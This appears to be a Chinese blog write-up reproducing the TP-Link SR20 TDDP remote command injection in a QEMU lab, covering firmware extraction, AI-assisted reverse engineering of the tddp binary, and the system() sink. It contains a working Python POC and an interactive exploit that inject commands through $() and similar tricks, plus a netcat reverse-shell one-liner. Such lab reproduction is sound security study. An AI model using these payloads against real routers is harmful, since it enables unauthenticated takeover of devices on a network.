Featured image of post TP-Link SR20 远程命令执行漏洞

TP-Link SR20 远程命令执行漏洞

AI代审 + TP-Link SR20:IOT漏洞逆向分析与利用

复现报告

信息收集

Image

信息收集:

TP-Link SR20 运行 TDDP 协议监听 UDP 1040 端口。TDDP v1 版本无需认证,任何人都可以发送数据包。在处理 CMD_FTEST_CONFIG \(Type == 0x31\) 请求时,tddp 程序将用户输入通过 system() 函数执行,导致命令注入。

我这里用docker-Ubuntu20.04+Win11宿主机加上qemu-arm-static \(用户态模拟\)的环境去复现,固件版本是SR20\(US\) V1.2.1 Build 20180518

固件下载SR20(US)_V1_180518.zip

解包扫描

杂项都会吧?用binwalk

1
binwalk tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin

输出关键信息:

Image

得知固件结构是LZMA 压缩内核 + TRX 分区表 + SquashFS 文件系统 \(xz\)

1
2
3
4
5
6
# 从偏移 0x212FF9 处切出 SquashFS
tail -c +2174970 firmware.bin > squashfs.bin
#tail -c +2174970 tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin > squashfs.bin

# 解压 SquashFS
unsquashfs -d squashfs-root squashfs.bin

提取文件系统:

Image

tail切割命令的索引规则的需要,0x212FF9还需要十进制的1字节,也就是从第 2174970 字节开始输出(0x212FF9 + 1 = 2174969 + 1 = 2174970)

tail -c切割后:

1
2
root@Ubuntu20:~/Output/IOT# tail -c +2174970 tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin >
 squashfs.bin

Image

提取:

1
2
3
4
5
# 新建目录用来存放解压后的系统
mkdir squashfs-root
cd squashfs-root
# 解压squashfs.bin到当前目录
unsquashfs -f ../squashfs.bin

提取出的文件系统结构:

Image

Image

IoT 路由器漏洞绝大多数出自 4 个目录,其余 dev、tmp、var、lib 基本跳过:

bin/sbin/usr/bin/usr/sbin/(所有开机自启、监听端口的程序全在这)

逆向分析

AI简单代审(Claude Code + Skills)

文件这么多我当场给大家代审是很浪费时间的,通常来说一个二进制安全研究员对一个IOT设备的Bin附件进行分析需要好几天,用AI代审会更高效一些。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
PS C:\Users\Expl0rer\Desktop\Output\IOT> claude
╭─── Claude Code v2.1.116 ──────────────────────────────────────────────────────────────────────────────────────────╮
                                                Tips for getting started                                          
                 Welcome back!                  Run /init to create a CLAUDE.md file with instructions for Claude 
                                                ───────────────────────────────────────────────────────────────── 
                  ▐▛███▜▌                     Recent activity                                                   
                ▝▜█████▛▘                    No recent activity                                                
                  ▘▘ ▝▝                                                                                        
                                                                                                                  
   Opus 4.7 (1M context) · API Usage Billing                                                                      
             ~\Desktop\Output\IOT                                                                                 
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

 IOT-skills分析一个IOT附件找漏洞所在的大致文件给我,代码审计,SR20(US)_V1_180518.zip是附件压缩包,我已经解压出来了,
  binwalk分离了,文件系统是squashfs-root
 好的,我先探索一下固件文件系统的结构,然后使用固件审计 skill 进行漏洞分析。

Image

那我们此时重点可以看看tddp文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
squashfs\-root/
├── bin/          \# BusyBox 、 系统命令
├── dev/
├── etc/          \# 配置文件
├── lib/          \# uClibc 等共享库
├── usr/
   ├── bin/tddp  \#  漏洞点!!!!!!!!!
   ├── lib/      \# liblua\.so 等
   └── sbin/
├── sbin/
├── tmp/
├── www/          \# Web 管理界面
└── var/
1
2
3
4
5
6
7
file squashfs-root/usr/bin/tddp
# ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
# dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

readelf -h squashfs-root/usr/bin/tddp
# Machine: ARM
# Entry point address: 0x9108

Image

Image

由于找不到main函数,所以说只能先从程序执行的入门_start函数开始分析:

Image

1
2
3
4
5
int start()
{
  // _uClibc_main 第1个入参 = main函数指针(uClibc固定规范)
  return ((int (__fastcall *)(int (*)()))_uClibc_main)(sub_971C);
}

main()/sub_971C()函数

Image

为什么会没有main函数,学过re可能会清楚一点,这里因为编译执行了strip,导致函数名被剥离,ELF 只剩机器码。

这里直接给AI注释一下:可以发现,sub_16C90函数是对动态内存的初始化分配,而sub_16D40函数是对分配的动态内存进行回收,因此关键在于中间的sub_936C函数。

sub_936C()函数

Image

这个是对socket套接字的初始化,socket 初始化 = 创建并配置好一个网络发送通道。

memset函数就是清空脏数据、初始化变量、防止乱码 / 错误

其中值得关注的是sub_16D68函数。

sub_16D68()函数

Image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// fd_1:已经创建好的socket句柄;n1040:端口=1040
int bind_socket(int fd_1, uint16_t n1040)
{
    struct sockaddr_in s;
    memset(&s,0,sizeof(s));
    s.sin_family = AF_INET;        // AF_INET=2,IPv4协议
    s.sin_addr.s_addr = htonl(0);  // INADDR_ANY = 0.0.0.0 监听本机所有网卡IP
    s.sin_port = htons(n1040);     // 端口转网络字节序,UDP 1040(TDDP 协议端口)
    if(bind(fd_1,(struct sockaddr*)&s,16)==-1){
        return err_print(-10103,"failed to bind socket");
    }
    return 0;
}

这里的n1040是传进来的参数1040htons函数是将整型变量从主机字节顺序转变成网络字节顺序,而bind函数是将一个本地地址与一个套接口进行绑定,这个函数的目的就是**将****socket套接字绑定到了1040**端口上

Image

再看回sub_936C函数,往下看到还有一个sub_9340函数。

sub_9340()函数(无用)

Image

这个作用是获取当前时间,对我们逆向分析用处不大,跳过。

sub_16418()函数

Image

这里我也不会,叫豆包分析一下,ida-MCP+claude也行:

Image

Image

在这里发现了一个关键的函数recvfrom(),该函数的原型是:ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socklen_t *fromlen),用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间。所以是将数据读入(char *)a1 + 45083

也就是说,我们向启动了**tddp的目标IP1040端口通过socket套接字传输TDDP包(报头+数据),数据包的内容就被存放在a1 + 45083**

Image

n2就是接收到的TDDP数据包,其中的判断if ( n2 == 1 )自然就是判断TDDP协议的版本号,漏洞点就在Version 1,也就是这个if分支中,并容易发现,sub_15E74函数就是对Type类型的判断:

sub_15E74()函数

Image

函数确实挺多的,我这里靠AI代审发现sub_A580函数比较可疑,于是跳转到此重点分析。

❯ 你用ida-mcp看一下sub_15E74函数,哪个case可疑?

Image

找到漏洞点所在的case 0x31处:

Image

sub_A580()函数

协议判别

Image

从这里能近似看出应该是某种协议...

Image

代码检查数据包第一个字节*v13):

1、如果等于 1 → 走一套逻辑(版本1:+12 字节)

2、否则 → 走另一套逻辑(版本2:+28 字节)

纯看代码就能得出:两个版本,头部不一样长。

逆向经验:网络协议里,首字节 == 版本号 是全球通用标准写法。

sub_A580()函数伪代码还原
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void tddp_handle_ftest_config(char *data, int len) {
    char s[128];    // 用户输入的第一部分
    char s_[128];   // 用户输入的第二部分 (TFTP 地址)
    char cmd[256];  // 拼接后的命令
    
    // sscanf 按 ; 分隔数据
    // "%[^;];%s" — 第一部分读到 ; 为止,第二部分读剩余
    sscanf(data, "%[^;];%s", s, s_);
    
    // 过滤 ; 字符(但不过滤 $, |, &, `)
    // ... filter_code ...
    
    // ★ 漏洞点:直接拼接到 system() 命令
    snprintf(cmd, 256, "cd /tmp;tftp -gr %s %s &", s, s_);
    system(cmd);  // ← 任意命令执行,刚好对应下文的sub_91DC函数
    
    // 后续:加载 TFTP 下载的 Lua 脚本
    snprintf(lua_path, 128, "/tmp/%s", s);
    if (access(lua_path, F_OK) == 0) {
        luaL_loadfile(L, lua_path);
        lua_getfield(L, -1, "config_test");
        lua_pcall(L, 0, 0, 0);
    }
}

上图中,当TDDP协议是Version 1的时候(*v13==1时,*v13 == 1 就是 TDDP Version1(V1 协议)判定),s_1会从TDDP包的首地址往后移12个字节,也就是从“报头”移动到“数据”的首地址(见上面的TDDP协议结构图):

TDDP协议

TDDP协议的相关文章:[翻译]TP-link 设备调试协议(TDDP)研究-外文翻译-看雪安全社区|专业技术交流与安全研究论坛

TDDP的包的格式如下:

Image

TDDP报头如下:

Image

v14 = 要返回给客户端的【响应包缓冲区】

s_1 = 从客户端收到的【请求包数据】

所以:

  • s_1 +=12 → 跳过请求头,取请求数据

  • v14 +=12 → 跳过响应头,写响应数据

接着就到了一个sscanf函数:

Image

这个sscanf函数将传进来的TDDP包数据区按照分离符;分为ss_两个字符串,其中利用“正则表达式”过滤了s中的;,之后,字符串s拼接到了cd /tmp;tftp -gr的后面,这显然是一个shell命令,而s拼接上去很可能就导致了任意命令的执行。

sub_91DC()函数

Image

这里进一步确认是直接到shell了。

现在先暂停往下看,回退至sub_A580()函数的伪代码还原那一块,就明白system\(cmd\); // ← 任意命令执行,刚好对应这里的sub_91DC()函数了,此时我们就得知路由器的大致数据流追踪:

UDP 数据包

→ recvfrom() 函数接收

→ 检查 Version == 1

→ 检查 Type == 0x31

→ sscanf\(data, "%\[^;\];%s", s, v9\)

→ snprintf\(cmd, "cd /tmp;tftp \-gr %s %s \&", s, v9\)

→ system\(cmd\) ← 命令注入!

接着继续:直接到shell了,再回到sub_A580函数下方。

Image

命令tftp -gr %s %s &,命令是利用FTP协议,从...路径下载文件,在这里是保存到/tmp目录下(下图)。

Image

Image

这里先是将利用FTP协议下载的文件所保存的路径放在了name字符串中,然后通过luaL_loadfile函数对Lua脚本进行加载运行。

基于该原理,接下来对可用特殊字符逐一测试,梳理字符过滤规则与可用绕过 payload。

绕过过滤分析

sscanf分隔逻辑

Image

sscanf\(s\_1, "%\[^;\];%s", s, s\_\);

数据区格式: <s>;<s_>

分号分隔

示例输入: test;192.168.1.1

结果: s = "test", s_ = "192.168.1.1"

命令: cd /tmp;tftp -gr test 192.168.1.1 &

过滤与绕过

无非就是 ; \| $ `` &

经验证就是:

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from socket import *
import os, time

HEADER = b"\x01\x31".ljust(12, b"\x00") #在之前逆向分析就得知必须补够12字节才能进行下一步,version1认证 + case0x31 
OUTFILE = "/root/sq/tmp/sh_out"
PIDFILE = "/tmp/tddp.pid"

methods = [
    ("$(id)",      b"$(id>/tmp/sh_out);winmt"),
    ("x|id",       b"x|id>/tmp/sh_out;winmt"),
    ("x&id",       b"x&id>/tmp/sh_out;winmt"),
    ("`id`",       b"`id>/tmp/sh_out`;winmt"),
]

for name, data in methods:
    # 重启 tddp
    try:
        old = open(PIDFILE).read().strip()
        os.system(f"kill {old} 2>/dev/null")
    except: pass
    time.sleep(0.5)
    os.system(f"nohup chroot /root/sq /usr/bin/qemu-arm-static /usr/bin/tddp >/dev/null 2>&1 & echo $! > {PIDFILE}")
    time.sleep(2)

    # 发包
    s = socket(AF_INET, SOCK_DGRAM, 0)
    s.settimeout(3)
    s.sendto(HEADER + data, ("127.0.0.1", 1040))
    s.close()
    time.sleep(0.5)

    # 读结果
    try:
        out = open(OUTFILE).read().strip()
        print(f"{name:10s}{out}")
    except:
        print(f"{name:10s} → FAIL")

Image

QEMU环境测试

所以说最稳定的利用方式是$() 命令替换。比如$\(nc 127\.0\.0\.1 8888 \-e /bin/sh\)就能拿shell

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from socket import *
import os, sys, time

HEADER = b"\x01\x31".ljust(12, b"\x00")
OUTFILE = "/root/sq/tmp/sh_out"  #命令执行结果保存的文件,很像pwntools的debug
PIDFILE = "/tmp/tddp.pid"    #保存 tddp 进程号,方便重启

def start_tddp():
    try:
        old = open(PIDFILE).read().strip()
        os.system(f"kill {old} 2>/dev/null")
    except: pass
    time.sleep(0.5)
    os.system(f"nohup chroot /root/sq /usr/bin/qemu-arm-static /usr/bin/tddp >/dev/null 2>&1 & echo $! > {PIDFILE}")
    time.sleep(1.5)
    #杀死旧的 tddp 进程,用 QEMU 重启 ARM 版 tddp,保证每次发包都是干净环境
    #原因: system() 会阻塞等待子进程退出。tftp -gr 在无 TFTP 服务器时会挂起直到超时(约 60 秒),这期间 tddp 的主循环不会处理新请求。

def exec_cmd(cmd):
    start_tddp()
    payload = HEADER + f"$({cmd} 2>&1 > /tmp/sh_out);winmt".encode() #> /tmp/sh_out → 结果写入文件
    s = socket(AF_INET, SOCK_DGRAM, 0)
    s.settimeout(3)
    s.sendto(payload, ("127.0.0.1", 1040))
    s.close()
    time.sleep(0.5)
    try: return open(OUTFILE).read()
    except: return ""

while True:
    try: cmd = input("$ ").strip()
    except: break
    if cmd in ("exit","quit"): break
    if cmd: print(exec_cmd(cmd).rstrip())
    #循环等待你输入命令,输入 exit 退出,执行命令并打印结果

RCE了:

Image

为什么加Kill命令进程杀死并重置?因为 system() 会阻塞等待子进程退出;tftp -gr 在无 TFTP 服务器时会挂起直到超时(约 60 秒),这期间 tddp 的主循环不会处理新请求。

只要攻击者和 SR20 在同一局域网内,直接向 SR20 的 IP 发送 UDP 包到 1040 端口即可。无需任何前置认证。

未完成事项及原因(后续如何完成)

POC不太会写,exp还行,但是要借助AI,socket模块不太会用之前都是用pwntools的

本周学习知识的分享

参考文章:

https://www.iotsec-zone.com/article/384

  • Matthew Garrett 原始漏洞报告

  • IOTsec-Zone: "一些经典IoT漏洞的分析与复现(新手向)"

  • TP-Link TDDP 协议专利文档

  • QEMU User Mode Emulation: https://wiki.debian.org/QemuUserEmulation

  • 我的博客

https://expl0rer.top/

总的来说:AI还是很强的,ida-mcp+CLaude Code Opus 4.7/Skills,这俩大件叠加起来,逆向分析非常强,同时具备PWN的漏洞利用能力。

这次也只不过是一个简单复现,入门IOT第一步!

我对IOT的认识

IoT,即Internet of Things(物联网),是将各种物理设备、传感器和物品通过互联网连接,实现数据收集、交换和智能化管理的网络。

IOT方向其实就是实战了,已经不再局限于CTF的PWN/RE/MOBILE/WEB/CRYPTO/MISC这五大方向了,更像是全栈,用的最多就是CTF-RE方向的逆向分析能力,以及PWN的漏洞利用能力,甚至有些固件分析还需要启动WEB服务去调试和提取固件文件包,所用到的WEB渗透技术必不可少,对于这一个路由器漏洞,算是人尽皆知了,是比较经典的案例,里边也有用到协议逆向分析的能力,当然我现在还不足于秒杀还需借助AI代审。

IOT对我们CTFer的冲击

物联网设备涉足我们生活的方方面面,很多设备的私有协议、程序架构有所不同,IOT需要的学习能力极强,对一个IOT设备进行漏洞检测时需要深入了解这个设备。

总之,比较有挑战性。

最后更新于 2026-06-06